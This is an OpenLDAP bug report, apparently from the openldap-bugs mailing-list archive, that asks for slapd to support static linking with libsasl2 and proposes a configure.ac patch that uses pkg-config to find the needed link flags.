https://bugs.openldap.org/show_bug.cgi?id=9672 Issue ID: 9672 Summary: Permit static linking with libsasl2 Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- Created attachment 838 --> https://bugs.openldap.org/attachment.cgi?id=838&action=edit pkg-config + libsasl2 = ♥ I want to link slapd statically. First I link openssl and libsasl2 statically. The static libsasl2 bundles all SASL plugins, and linking towards it must be done (in my case) with -lcrypto. The check in configure.ac: ``` AC_CHECK_LIB(sasl2, sasl_client_init, [ol_link_sasl="-lsasl2"], [AC_CHECK_LIB(sasl, sasl_client_init, [ol_link_sasl="-lsasl"])]) ``` fails, since -lcrypto is not passed during linking with the static -lsasl2 . `pkg-config --statit libsasl2 --libs` knows how to link statically with libsasl2 and it knows, whether libsasl2 is installed. The applied patch does linking/preprocessing of libsasl2 by utilizing pkg-config, when available. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

Jump to page:

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs September 2021